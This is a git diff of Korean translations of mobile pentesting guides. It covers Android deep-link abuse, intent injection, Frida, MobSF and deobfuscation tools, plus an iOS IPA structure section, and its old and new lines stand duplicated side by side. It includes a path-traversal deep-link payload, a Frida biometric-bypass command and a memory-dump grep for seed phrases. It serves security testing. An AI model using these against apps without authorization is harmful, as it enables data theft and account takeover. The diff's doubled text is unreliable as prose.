[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\ [**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\
브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 을 기억하세요. 브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 을 기억하세요.
브로드캐스트 수신기는 특정 유형의 메시지를 기다리고 있습니다. 수신기가 메시지를 처리하는 방식에 따라 취약할 수 있습니다.\ 브로드캐스트 수신기는 특정 유형의 메시지를 기다리고 있습니다. 수신기가 메시지를 처리하는 방식에 따라 취약할 수 있습니다.\
[**Drozer로 브로드캐스트 수신기를 악용하는 방법을 배우세요.**](#exploiting-broadcast-receivers) [**Drozer로 브로드캐스트 수신기를 악용하는 방법을 배우세요.**](#exploiting-broadcast-receivers)
@ -359,31 +365,31 @@ Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **
### **스킴 / 딥 링크 악용** ### **스킴 / 딥 링크 악용**
MobSF와 같은 도구나 [이 스크립트](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)와 같은 스크립트를 사용하여 딥 링크를 수동으로 찾을 수 있습니다.\ MobSF와 같은 도구나 [이 스크립트](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)와 같은 스크립트를 사용하여 딥 링크를 수동으로 찾을 수 있습니다.\
**adb** 또는 **브라우저**를 사용하여 선언된 **스킴**을 **열 수 있습니다**: **adb** 또는 **브라우저**를 사용하여 선언된 **스킴**을 **열 수** 있습니다:
```bash ```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
``` ```
_패키지 이름을 **생략할 수** 있으며, 모바일은 자동으로 해당 링크를 열어야 하는 앱을 호출합니다._ _패키지 이름을 **생략할 수** 있으며, 모바일은 해당 링크를 열어야 하는 앱을 자동으로 호출합니다._
```html ```html
<!-- Browser regular link --> <!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a> <a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url --> <!-- fallback in your url you could try the intent url -->
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a> <a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
``` ```
**코드 실행됨** **실행된 코드**
앱에서 **실행될 코드**를 찾으려면, 딥링크로 호출된 액티비티로 가서 **`onNewIntent`** 함수를 검색하세요. **앱에서 실행될 코드**를 찾으려면, 딥링크로 호출된 액티비티로 가서 **`onNewIntent`** 함수를 검색하세요.
![](<../../images/image (436) (1) (1) (1).png>) ![](<../../images/image (436) (1) (1) (1).png>)
**민감한 정보** **민감한 정보**
딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 수신하지 않는지 확인해야 합니다.** 다른 애플리케이션이 **딥링크를 가장하여 해당 데이터를 훔칠 수 있습니다!** 딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 수신하지 않는지 확인**하세요. 다른 애플리케이션이 **딥링크를 가장하여 해당 데이터를 훔칠 수 있습니다!**
**경로의 매개변수** **경로의 매개변수**
**딥링크가 URL의 경로 내에서 매개변수를 사용하고 있는지 확인해야 합니다.** 예: `https://api.example.com/v1/users/{username}`. 이 경우, `example://app/users?username=../../unwanted-endpoint%3fparam=value`와 같 경로 탐색을 강제할 수 있습니다.\ **딥링크가 URL의 경로 내에서 매개변수를 사용하고 있는지 확인해야 합니다.** 예: `https://api.example.com/v1/users/{username}`. 이 경우, `example://app/users?username=../../unwanted-endpoint%3fparam=value`와 같 경로 탐색을 강제할 수 있습니다.\
애플리케이션 내에서 올바른 엔드포인트를 찾으면 **Open Redirect**(경로의 일부가 도메인 이름으로 사용되는 경우), **계정 탈취**(CSRF 토큰 없이 사용자 세부정보를 수정할 수 있고 취약한 엔드포인트가 올바른 메서드를 사용하는 경우) 및 기타 취약점을 유발할 수 있습니다. 더 많은 [정보는 여기에서](http://dphoeniixx.com/2020/12/13-2/) 확인하세요. 애플리케이션 내에서 올바른 엔드포인트를 찾으면 **Open Redirect**(경로의 일부가 도메인 이름으로 사용되는 경우), **계정 탈취**(CSRF 토큰 없이 사용자 세부정보를 수정할 수 있고 취약한 엔드포인트가 올바른 메서드를 사용하는 경우) 및 기타 취약점을 유발할 수 있습니다. 더 많은 [정보는 여기](http://dphoeniixx.com/2020/12/13-2/)에서 확인하세요.
**더 많은 예시** **더 많은 예시**
@ -391,9 +397,9 @@ _패키지 이름을 **생략할 수** 있으며, 모바일은 자동으로 해
### 전송 계층 검사 및 검증 실패 ### 전송 계층 검사 및 검증 실패
- **인증서는 Android 애플리케이션에서 항상 제대로 검사되지 않습니다.** 이러한 애플리케이션이 경고를 무시하고 자체 서명된 인증서를 수락하거나, 경우에 따라 HTTP 연결로 되돌아가는 경우가 흔합니다. - **인증서는 Android 애플리케이션에서 항상 제대로 검사되지 않습니다.** 이러한 애플리케이션이 경고를 간과하고 자체 서명된 인증서를 수락하거나, 경우에 따라 HTTP 연결로 되돌아가는 경우가 흔합니다.
- **SSL/TLS 핸드셰이크 중 협상이 때때로 약합니다.** 안전하지 않은 암호 모음을 사용하는 경우가 있습니다. 이 취약점은 연결을 중간자(MITM) 공격에 취약하게 만들어 공격자가 데이터를 복호화할 수 있게 합니다. - **SSL/TLS 핸드셰이크 중 협상이 때때로 약합니다.** 안전하지 않은 암호 모음을 사용하는 경우가 있습니다. 이 취약점은 연결을 중간자(MITM) 공격에 취약하게 만들어 공격자가 데이터를 복호화할 수 있게 합니다.
- **민감한 정보 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래에 대해 비안전한 채널을 통해 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티의 가로채기로부터 보호하지 못합니다. - **민감한 정보 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래에 대해 비안전한 채널을 통해 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티의 가로채기로부터 보호하지 못합니다.
#### 인증서 검증 #### 인증서 검증
@ -439,7 +445,7 @@ Android 애플리케이션을 펜테스트하려면 Frida를 사용하는 방법
### **메모리 덤프 - Fridump** ### **메모리 덤프 - Fridump**
애플리케이션이 비밀번호나 니모닉과 같은 민감한 정보를 저장하고 있지 않은지 확인하세요. 애플리케이션이 비밀번호나 암기구문과 같은 민감한 정보를 저장하고 있지 않은지 확인하세요.
[**Fridump3**](https://github.com/rootbsd/fridump3)를 사용하여 앱의 메모리를 덤프할 수 있습니다: [**Fridump3**](https://github.com/rootbsd/fridump3)를 사용하여 앱의 메모리를 덤프할 수 있습니다:
```bash ```bash
@ -456,7 +462,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
``` ```
### **Keystore의 민감한 데이터** ### **Keystore의 민감한 데이터**
Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소이지만, 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** 펜테스트는 루트 사용자로 확인해야 하며, 물리적으로 장치에 접근할 수 있는 누군가가 이 데이터를 훔칠 수 있습니다. Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소이지만, 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** pentests는 이를 확인해야 하며, 루트 사용자 또는 장치에 물리적으로 접근할 수 있는 사람이 이 데이터를 훔칠 수 있습니다.
앱이 keystore에 데이터를 저장하더라도, 데이터는 암호화되어야 합니다. 앱이 keystore에 데이터를 저장하더라도, 데이터는 암호화되어야 합니다.
@ -466,7 +472,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
``` ```
### **지문/생체 인식 우회** ### **지문/생체 인식 우회**
다음 Frida 스크립트를 사용하면 **지문 인증을 우회**할 수 있을 수 있습니다. Android 애플리케이션이 **특정 민감한 영역을 보호하기 위해 수행할 수 있습니다:** 다음 Frida 스크립트를 사용하면 **지문 인증을 우회**할 수 있을 수 있으며, Android 애플리케이션이 **특정 민감한 영역을 보호하기 위해 수행할 수 있습니다:**
```bash ```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package> frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
``` ```
@ -488,7 +494,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
### 인텐트 주입 ### 인텐트 주입
개발자는 종종 이러한 인텐트를 처리하고 `startActivity(...)` 또는 `sendBroadcast(...)`와 같은 메서드로 전달하는 프록시 구성 요소인 액티비티, 서비스 및 브로드캐스트 수신기를 생성합니다. 이는 위험할 수 있습니다. 개발자는 종종 이러한 인텐트를 처리하고 `startActivity(...)` 또는 `sendBroadcast(...)`와 같은 메서드로 전달하는 프록시 구성 요소인 활동, 서비스 및 브로드캐스트 수신기를 생성합니다. 이는 위험할 수 있습니다.
위험은 공격자가 이러한 인텐트를 잘못 유도하여 비공개 앱 구성 요소를 트리거하거나 민감한 콘텐츠 제공자에 접근할 수 있도록 허용하는 데 있습니다. 주목할 만한 예는 `WebView` 구성 요소가 URL을 `Intent` 객체로 변환하는 `Intent.parseUri(...)`를 통해 이를 실행하여 악의적인 인텐트 주입으로 이어질 수 있는 경우입니다. 위험은 공격자가 이러한 인텐트를 잘못 유도하여 비공개 앱 구성 요소를 트리거하거나 민감한 콘텐츠 제공자에 접근할 수 있도록 허용하는 데 있습니다. 주목할 만한 예는 `WebView` 구성 요소가 URL을 `Intent` 객체로 변환하는 `Intent.parseUri(...)`를 통해 이를 실행하여 악의적인 인텐트 주입으로 이어질 수 있는 경우입니다.
@ -531,10 +537,10 @@ MobSF는 **diff/비교** 분석을 허용하고 **VirusTotal**과 통합할 수
### MobSF를 이용한 보조 동적 분석 ### MobSF를 이용한 보조 동적 분석
**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 MobSF와 **genymotion**을 호스트에 설치해야 합니다 (VM이나 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작한 후** MobSF를 시작해야 합니다._\ **MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 MobSF와 **genymotion**을 호스트에 설치해야 합니다 (VM이나 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작**한 후 **MobSF를 시작해야 합니다.**_\
**MobSF 동적 분석기**는 다음을 수행할 수 있습니다: **MobSF 동적 분석기**는 다음을 수행할 수 있습니다:
- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되며, 스크린샷은 원할 때 눌러야 하거나 "**Exported Activity Tester**"를 눌러야 모든 내보낸 활동의 스크린샷을 얻을 수 있습니다. - **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되지만 스크린샷은 원할 때 눌러야 하며, 모든 내보낸 활동의 스크린샷을 얻으려면 "**Exported Activity Tester**"를 눌러야 합니다.
- **HTTPS 트래픽 캡처** - **HTTPS 트래픽 캡처**
- **Frida**를 사용하여 **런타임** **정보**를 얻기 - **Frida**를 사용하여 **런타임** **정보**를 얻기
@ -543,10 +549,10 @@ Android **버전 > 5**에서는 **자동으로 Frida**를 시작하고 **트래
**Frida** **Frida**
기본적으로 SSL 핀닝, **루트 탐지** 및 **디버거 탐지**를 우회하고 **흥미로운 API**를 모니터링하기 위해 일부 Frida 스크립트를 사용합니다.\ 기본적으로 SSL 핀닝, **루트 탐지** 및 **디버거 탐지**를 우회하고 **흥미로운 API**를 모니터링하기 위해 일부 Frida 스크립트를 사용합니다.\
MobSF는 또한 **내보낸 활동을 호출**하고, 그 스크린샷을 **캡처**하여 보고서에 **저장**할 수 있습니다. MobSF는 또한 **내보낸 활동을 호출**하고, 그들의 **스크린샷**을 캡처하여 **보고서**에 저장할 수 있습니다.
동적 테스트를 **시작**하려면 초록색 버튼: "**Start Instrumentation**"을 누릅니다. "**Frida Live Logs**"를 눌러 Frida 스크립트에 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환 값을 확인합니다 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\ 동적 테스트를 **시작**하려면 초록색 버튼: "**Start Instrumentation**"을 누릅니다. "**Frida Live Logs**"를 눌러 Frida 스크립트에 의해 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환 값을 확인합니다 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\
MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (Frida 스크립트의 결과를 MobSF에 보내려면 `send()` 함수를 사용하십시오). 또한 로드할 수 있는 **여러 사전 작성된 스크립트**가 있습니다 (더 추가할 수 있습니다 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), 그냥 **선택하고**, "**Load**"를 누르고 "**Start Instrumentation**"을 누릅니다 (해당 스크립트의 로그는 "**Frida Live Logs**"에서 확인할 수 있습니다). MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (Frida 스크립트의 결과를 MobSF에 보내려면 `send()` 함수를 사용하십시오). 또한 로드할 수 있는 **여러 사전 작성된 스크립트**가 있습니다 (더 추가할 수 있습니다 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), 그냥 **선택하고**, "**Load**"를 누르고 "**Start Instrumentation**"을 누릅니다 (해당 스크립트의 로그는 "**Frida Live Logs**"에서 수 있습니다).
![](<../../images/image (419).png>) ![](<../../images/image (419).png>)
@ -563,7 +569,7 @@ MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (
**Shell** **Shell**
Mobsf는 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF 명령** 및 일반 **쉘** **명령**을 포함한 쉘을 제공합니다. 몇 가지 흥미로운 명령: Mobsf는 또한 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF 명령** 및 일반 **셸** **명령**을 포함한 셸을 제공합니다. 몇 가지 흥미로운 명령:
```bash ```bash
help help
shell ls shell ls
@ -574,7 +580,7 @@ receivers
``` ```
**HTTP 도구** **HTTP 도구**
HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 또는 "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 **프록시**인 Burp 또는 Owasp ZAP으로 **전송**할 수 있습니다.\ HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 좋지 않은 형태를 볼 수 있으며, "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 **프록시**인 Burp 또는 Owasp ZAP으로 **전송**할 수 있습니다.\
이를 위해, _Burp 켜기 -->_ _Intercept 끄기 --> MobSB HTTPTools에서 요청 선택_ --> "**Send to Fuzzer**" 버튼을 누르기 --> _프록시 주소 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). 이를 위해, _Burp 켜기 -->_ _Intercept 끄기 --> MobSB HTTPTools에서 요청 선택_ --> "**Send to Fuzzer**" 버튼을 누르기 --> _프록시 주소 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾아볼 수 있습니다. MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾아볼 수 있습니다.
@ -619,7 +625,7 @@ reverse-apk relative/path/to/APP.apk
``` ```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플리케이션으로, _.apk_ 파일을 분석하여 취약점을 찾습니다. 이는 APK를 압축 해제하고 일련의 규칙을 적용하여 이러한 취약점을 감지니다. SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플리케이션으로, _.apk_ 파일을 분석하여 취약점을 찾습니다. 이는 APK를 압축 해제하고 일련의 규칙을 적용하여 이러한 취약점을 감지하는 방식으로 이루어집니다.
모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 필요에 따라 분석할 규칙을 생성할 수 있습니다. 모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 필요에 따라 분석할 규칙을 생성할 수 있습니다.
@ -649,7 +655,7 @@ androbugs.exe -f [APK file]
``` ```
### [Androwarn](https://github.com/maaaaz/androwarn) ### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn**는 Android 애플리케이션이 개발한 잠재적인 악의적 행동을 감지하고 사용자에게 경고하는 것을 주요 목표로 하는 도구입니다. **Androwarn**는 Android 애플리케이션에서 발생할 수 있는 악의적인 행동을 감지하고 사용자에게 경고하는 것을 주요 목표로 하는 도구입니다.
감지는 애플리케이션의 Dalvik 바이트코드에 대한 **정적 분석**을 통해 수행되며, 이는 **Smali**로 표현됩니다. [`androguard`](https://github.com/androguard/androguard) 라이브러리를 사용합니다. 감지는 애플리케이션의 Dalvik 바이트코드에 대한 **정적 분석**을 통해 수행되며, 이는 **Smali**로 표현됩니다. [`androguard`](https://github.com/androguard/androguard) 라이브러리를 사용합니다.
@ -678,17 +684,17 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
## 코드 오브스큐레이션/디오브스큐레이션 ## 코드 오브스큐레이션/디오브스큐레이션
코드를 오브스큐레이션하는 데 사용하는 서비스와 구성에 따라 비밀이 오브스큐레이션될 수도 있고 그렇지 않을 수도 있습니다. 코드를 오브스큐레이트하는 데 사용하는 서비스와 구성에 따라 비밀이 오브스큐레이트될 수도 있고 그렇지 않을 수도 있습니다.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>) ### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
[위키백과](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**는 Java 코드를 축소, 최적화 및 오브스큐레이하는 오픈 소스 명령줄 도구입니다. 바이트코드를 최적화하고 사용되지 않는 명령어를 감지 및 제거할 수 있습니다. ProGuard는 무료 소프트웨어이며 GNU 일반 공용 라이선스 버전 2에 따라 배포됩니다. [위키피디아](<https://en.wikipedia.org/wiki/ProGuard_(software)>에서): **ProGuard**는 Java 코드를 축소, 최적화 및 오브스큐레이하는 오픈 소스 명령줄 도구입니다. 바이트코드를 최적화하고 사용되지 않는 명령어를 감지 및 제거할 수 있습니다. ProGuard는 무료 소프트웨어이며 GNU 일반 공용 라이선스 버전 2에 따라 배포됩니다.
ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리스 모드로 빌드할 때 실행됩니다. ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리스 모드로 빌드할 때 실행됩니다.
### [DexGuard](https://www.guardsquare.com/dexguard) ### [DexGuard](https://www.guardsquare.com/dexguard)
[https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 APK를 디오브스큐레이션하는 단계별 가이드를 찾으세요. APK를 디오브스큐레이트하는 단계별 가이드를 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 찾을 수 있습니다.
(그 가이드에서) 마지막으로 확인했을 때, Dexguard의 작동 모드는 다음과 같았습니다: (그 가이드에서) 마지막으로 확인했을 때, Dexguard의 작동 모드는 다음과 같았습니다:
@ -702,11 +708,11 @@ ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리
**DeGuard는 Android 오브스큐레이션 도구가 수행한 오브스큐레이션 프로세스를 역전시킵니다. 이를 통해 코드 검사 및 라이브러리 예측을 포함한 수많은 보안 분석이 가능합니다.** **DeGuard는 Android 오브스큐레이션 도구가 수행한 오브스큐레이션 프로세스를 역전시킵니다. 이를 통해 코드 검사 및 라이브러리 예측을 포함한 수많은 보안 분석이 가능합니다.**
오브스큐레이된 APK를 그들의 플랫폼에 업로드할 수 있습니다. 오브스큐레이된 APK를 그들의 플랫폼에 업로드할 수 있습니다.
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app) ### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
이것은 Android 앱에서 잠재적인 보안 취약점을 찾고 Android 앱 코드를 디오브스큐레이하는 LLM 도구입니다. Google의 Gemini 공개 API를 사용합니다. 이것은 Android 앱에서 잠재적인 보안 취약점을 찾고 Android 앱 코드를 디오브스큐레이하는 LLM 도구입니다. Google의 Gemini 공개 API를 사용합니다.
### [Simplify](https://github.com/CalebFenton/simplify) ### [Simplify](https://github.com/CalebFenton/simplify)

View File

@ -28,7 +28,7 @@ basic-ios-testing-operations.md
> [!TIP] > [!TIP]
> 다음 단계에서는 **앱이 장치에 설치되어 있어야** 하며, 애플리케이션의 **IPA 파일**을 이미 확보해야 합니다.\ > 다음 단계에서는 **앱이 장치에 설치되어 있어야** 하며, 애플리케이션의 **IPA 파일**을 이미 확보해야 합니다.\
> 이를 수행하는 방법을 배우려면 [Basic iOS Testing Operations](basic-ios-testing-operations.md) 페이지를 읽세요. > [Basic iOS Testing Operations](basic-ios-testing-operations.md) 페이지를 읽어 이 작업을 수행하는 방법을 배우세요.
### Basic Static Analysis ### Basic Static Analysis
@ -135,7 +135,7 @@ grep -iER "_vsprintf"
### Basic Dynamic Analysis ### Basic Dynamic Analysis
[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)가 수행하는 동적 분석을 확인하세요. 다양한 뷰를 탐색하고 상호작용해야 하지만, 다른 작업을 수행하는 동안 여러 클래스를 후킹하고 작업이 완료되면 보고서를 준비합니다. [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)가 수행하는 동적 분석을 확인하세요. 다양한 뷰를 탐색하고 상호작용해야 하지만, 다른 작업을 수행하는 동안 여러 클래스를 후킹하고 완료되면 보고서를 준비합니다.
### Listing Installed Apps ### Listing Installed Apps
@ -162,25 +162,25 @@ ios-hooking-with-objection.md
### IPA 구조 ### IPA 구조
**IPA 파일**의 구조는 본질적으로 **압축된 패키지**의 형태입니다. 확장자를 `.zip`으로 변경하면 **압축 해제**하여 내용을 확인할 수 있습니다. 이 구조 내에서 **Bundle**은 설치 준비가 완료된 완전 패키지 애플리케이션을 나타냅니다. 내부에는 애플리케이션의 리소스를 캡슐화하는 `<NAME>.app`이라는 디렉토리가 있습니다. **IPA 파일**의 구조는 본질적으로 **압축된 패키지**의 형태입니다. 확장자를 `.zip`으로 변경하면 **압축 해제**하여 내용을 확인할 수 있습니다. 이 구조 내에서 **Bundle**은 설치 준비가 완료된 완전 패키지 애플리케이션을 나타냅니다. 내부에는 애플리케이션의 리소스를 포함하는 `<NAME>.app`이라는 디렉토리가 있습니다.
- **`Info.plist`**: 이 파일은 애플리케이션의 특정 구성 세부정보를 포함합니다. - **`Info.plist`**: 이 파일은 애플리케이션의 특정 구성 세부정보를 포함합니다.
- **`_CodeSignature/`**: 이 디렉토리에는 번들 내 모든 파일의 무결성을 보장하는 서명이 포함된 plist 파일이 있습니다. - **`_CodeSignature/`**: 이 디렉토리에는 번들 내 모든 파일의 무결성을 보장하는 서명이 포함된 plist 파일이 있습니다.
- **`Assets.car`**: 아이콘과 같은 자산 파일을 저장하는 압축 아카이브입니다. - **`Assets.car`**: 아이콘과 같은 자산 파일을 저장하는 압축 아카이브입니다.
- **`Frameworks/`**: 이 폴더에는 `.dylib` 또는 `.framework` 파일 형식의 애플리케이션 네이티브 라이브러리가 포함되어 있습니다. - **`Frameworks/`**: 이 폴더에는 `.dylib` 또는 `.framework` 파일 형식의 애플리케이션 네이티브 라이브러리가 포함되어 있습니다.
- **`PlugIns/`**: 이 폴더에는 `.appex` 파일로 알려진 애플리케이션 확장이 포함될 수 있지만 항상 존재하는 것은 아닙니다. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): 애플리케이션의 영구 데이터를 오프라인에서 저장하고, 임시 데이터를 캐시하며, 단일 장치에서 앱의 실행 취소 기능을 추가하는 데 사용됩니다. 단일 iCloud 계정의 여러 장치 간에 데이터를 동기화하기 위해 Core Data는 자동으로 스키마를 CloudKit 컨테이너에 미러링합니다. - **`PlugIns/`**: 이 폴더에는 애플리케이션의 확장인 `.appex` 파일이 포함될 수 있지만 항상 존재하는 것은 아닙니다. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): 애플리케이션의 영구 데이터를 오프라인에서 저장하고, 임시 데이터를 캐시하며, 단일 장치에서 앱의 실행 취소 기능을 추가하는 데 사용됩니다. 단일 iCloud 계정의 여러 장치 간에 데이터를 동기화하기 위해 Core Data는 자동으로 스키마를 CloudKit 컨테이너에 미러링합니다.
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` 파일은 애플리케이션 또는 번들의 유형 및 생성자 코드를 지정하는 대체 방법입니다. - [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` 파일은 애플리케이션 또는 번들의 유형 및 생성자 코드를 지정하는 대체 방법입니다.
- **en.lproj, fr.proj, Base.lproj**: 특정 언어에 대한 리소스를 포함하는 언어 팩이며, 지원되지 않는 언어의 경우 기본 리소스를 포함합니다. - **en.lproj, fr.proj, Base.lproj**: 특정 언어에 대한 리소스를 포함하는 언어 팩이며, 언어가 지원되지 않는 경우 기본 리소스를 포함합니다.
- **보안**: `_CodeSignature/` 디렉토리는 디지털 서명을 통해 번들된 모든 파일의 무결성을 검증하여 앱의 보안에서 중요한 역할을 합니다. - **보안**: `_CodeSignature/` 디렉토리는 디지털 서명을 통해 번들된 모든 파일의 무결성을 검증하여 앱의 보안에서 중요한 역할을 합니다.
- **자산 관리**: `Assets.car` 파일은 압축을 사용하여 그래픽 자산을 효율적으로 관리하며, 이는 애플리케이션 성능 최적화 전체 크기 감소에 중요합니다. - **자산 관리**: `Assets.car` 파일은 압축을 사용하여 그래픽 자산을 효율적으로 관리하며, 이는 애플리케이션 성능 최적화 전체 크기 감소에 중요합니다.
- **프레임워크 및 플러그인**: 이러한 디렉토리는 iOS 애플리케이션의 모듈성을 강조하며, 개발자가 재사용 가능한 코드 라이브러리(`Frameworks/`)를 포함하고 앱 기능을 확장(`PlugIns/`)할 수 있도록 합니다. - **Frameworks 및 PlugIns**: 이러한 디렉토리는 iOS 애플리케이션의 모듈성을 강조하며, 개발자가 재사용 가능한 코드 라이브러리(`Frameworks/`)를 포함하고 앱 기능을 확장(`PlugIns/`)할 수 있도록 합니다.
- **지화**: 이 구조는 여러 언어를 지원하여 특정 언어 팩에 대한 리소스를 포함함으로써 글로벌 애플리케이션 도달을 촉진합니다. - **화**: 이 구조는 여러 언어를 지원하여 특정 언어 팩에 대한 리소스를 포함함으로써 글로벌 애플리케이션 도달을 촉진합니다.
**Info.plist** **Info.plist**
**Info.plist**는 iOS 애플리케이션의 초석으로, **키-값** 쌍 형태로 주요 구성 데이터를 캡슐화합니다. 이 파일은 애플리케이션뿐만 아니라 번들 내의 앱 확장 및 프레임워크에도 필수적입니다. XML 또는 이진 형식으로 구조화되어 있으며, 앱 권한에서 보안 구성에 이르기까지 중요한 정보를 포함합니다. 사용 가능한 키에 대한 자세한 탐색은 [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc) 참조할 수 있습니다. **Info.plist**는 iOS 애플리케이션의 초석으로, **키-값** 쌍 형태로 주요 구성 데이터를 캡슐화합니다. 이 파일은 애플리케이션뿐만 아니라 번들 내의 앱 확장 및 프레임워크에도 필수적입니다. XML 또는 이진 형식으로 구조화되어 있으며, 앱 권한에서 보안 구성에 이르기까지 중요한 정보를 포함합니다. 사용 가능한 키에 대한 자세한 탐색은 [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc) 참조할 수 있습니다.
